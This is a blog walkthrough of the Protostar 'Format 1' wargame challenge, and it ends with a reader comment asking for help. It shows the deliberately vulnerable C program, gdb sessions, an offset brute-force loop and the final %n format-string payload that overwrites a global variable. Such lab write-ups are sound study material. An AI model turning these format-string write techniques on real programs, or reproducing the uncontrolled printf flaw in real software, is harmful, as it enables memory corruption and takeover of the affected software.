Saturday, December 22, 2012

exploit-exercises Protostar: Format 1

This time, in Format 1 challenge of Protostar wargame, we are provided with the following source code of the vulnerable program.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;

void vuln(char *string)
{
printf(string);

if(target) {
printf("you have modified the target :)\n");
}
}

int main(int argc, char **argv)
{
vuln(argv[1]);
}
First, we try to find at what parameter position we start reading our own input. We are told "your input string lies far up the stack :)"
user@protostar:/opt/protostar/bin$ gdb -q ./format1
Reading symbols from /opt/protostar/bin/format1...done.
(gdb) run "AAAA.%x.%x.%x.%x.%x.%x.%x.%x"
Starting program: /opt/protostar/bin/format1 "AAAA.%x.%x.%x.%x.%x.%x.%x.%x"
AAAA.804960c.bffff788.8048469.b7fd8304.b7fd7ff4.bffff788.8048435.bffff96f
Program exited normally.
(gdb) run "AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x"
Starting program: /opt/protostar/bin/format1 "AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x"
AAAA804960c.bffff608.8048469.b7fd8304.b7fd7ff4.bffff608.8048435.bffff7f0.b7ff1040.804845b.b7fd7ff4.8048450.0.bffff688.b7eadc76.2.bffff6b4.bffff6c0.b7fe1848.bffff670.ffffffff.b7ffeff4.804824d.1.bffff670.b7ff0626.b7fffab0.b7fe1b28.b7fd7ff4.0.0.bffff688.9678b196.bc2ce786.0.0.0.2.8048340.0.b7ff6210.b7eadb9b.b7ffeff4.2.8048340.0.8048361.804841c.2.bffff6b4.8048450.8048440.b7ff1040.bffff6ac.b7fff8f8.2.bffff7d5.bffff7f0.0.bffff98c.bffff996.bffff9b7.bffff9cb.bffff9d3.bffff9ed.bffff9fd.bffffa10.bffffa1d.bffffa2c.bffffa38.bffffa43.bffffa81.bffffa92.bfffff82.bfffff90.bfffffa7.bfffffd8.0.20.b7fe2414.21.b7fe2000.10.78bf3bf.6.1000.11.64.3.8048034.4.20.5.7.7.b7fe3000.8.0.9.8048340.b.3e9.c.3e9.d.3e9.e.3e9.17.1.19.bffff7bb.1f.bfffffe1.f.bffff7cb.0.0.0.0.0.ca000000.483c508f.5274b4ca.6f4d36cc.69e05f8d.363836.0.706f2f00.72702f74.736f746f.2f726174.2f6e6962.6d726f66.317461.41414141
Program exited normally.
Instead of a huge number of "%x", we can leverage the direct parameter access feature and use only format output.
We will brute-force the position of our parameter with a simple bash script.
user@protostar:/opt/protostar/bin$ for i in {1..200}; do echo -n "$i ";
./format1 "AAAABB%$i\$x" | grep 4141; if (( $? == 0 )); then break; fi ; echo
""; done;

<snip>....
130 AAAABB41414141
We start reading our input at position 130.
user@protostar:/opt/protostar/bin$ ./format1 "AAAABB%130\$x"
AAAABB41414141
We can also tell our program to write at a provided address by using "%n"
user@protostar:/opt/protostar/bin$ ./format1 `python -c 'print "AAAABB%130\$n"'`
Segmentation fault (core dumped)

user@protostar:/opt/protostar/bin$ gdb -q ./format1 /tmp/core.11.format1.12342
Reading symbols from /opt/protostar/bin/format1...done.

<snip>
Program terminated with signal 11, Segmentation fault.
#0  0xb7ed7aa9 in _IO_vfprintf_internal (s=0xb7fd84c0, format=Cannot access memory at address 0x4
) at vfprintf.c:1950
1950    vfprintf.c: No such file or directory.
        in vfprintf.c
(gdb) x/5i $eip
0xb7ed7aa9 <_IO_vfprintf_internal+16361>:       mov    %edx,(%eax)
0xb7ed7aab <_IO_vfprintf_internal+16363>:       jmp    0xb7ed4290 <_IO_vfprintf_internal+2000>
0xb7ed7ab0 <_IO_vfprintf_internal+16368>:       cmpl   $0x0,-0x528(%ebp)
0xb7ed7ab7 <_IO_vfprintf_internal+16375>:       je     0xb7ed7fa3 <_IO_vfprintf_internal+17635>
0xb7ed7abd <_IO_vfprintf_internal+16381>:       mov    -0x4b4(%ebp),%edi
(gdb) i r eax
eax            0x41414141       1094795585
Now, time to overwrite our target. As the variable is an unitialized global, it
will be stored in .bss section.  We use -t option of objdump to output the
symbol table.
user@protostar:/opt/protostar/bin$ objdump -t ./format1 | grep target
08049638 g     O .bss   00000004              target
With all the necessary information in our hands, crafting the exploit is easy.
user@protostar:/opt/protostar/bin$ ./format1 `python -c 'print "\x38\x96\x04\x08BB%130\$n"'`
8�BByou have modified the target :)
One last point, in this challenge, the condition is "if (target)" as global
unitialized variables are set to 0. What the "%n" parameter writes in target
variable isn't that much important. It is left for the next challenge.

1 comment:

  1. Hello:

    I know this exercise is old and maybe my format1 executable is newer than the one you hacked (mine is from Nov 24th 2011), but I can't align the bits.

    When doing:

    ./format1 ABCDEFGH`perl -e 'print "%x."x200'`

    I got:

    ....
    43424100 = CBA0
    47464544 = GFED
    2e782548 = .x%H
    ...

    which means the bits aren't aligned. Using the 130 sled don't work:

    ./format1 ABCDEFGH`perl -e 'print "%x."x130'`

    ...
    41003174 = A01t
    45444342 = EDCB
    25484746 = %HGF
    ....

    If I'm not wrong, the goal is to have the target function memory address at the end of the string, so I shorted the sled to 128:

    ./format1 `perl -e 'print "ABCDEFGH" . "%x."x128'`

    ...
    43424100.47464544.2e782548.252e7825.

    If I cut another position in the sled:

    ./format1 `perl -e 'print "ABCDEFGH" . "%x."x127'`

    ...
    317461 = 1t`
    44434241 = DCBA
    48474645 = HGFE

    So that means I need to replace HGFE with \x38\x96\x04\x08, but when I do:

    ./format1 `perl -e 'print "ABCD\x38\x96\x04\x08" . "%x."x127'`%x

    I got:

    ...
    42410031.96444338.78250804.2e78252e

    Not what I was looking for.

    How can I aling those bits?


    Regards




    ReplyDelete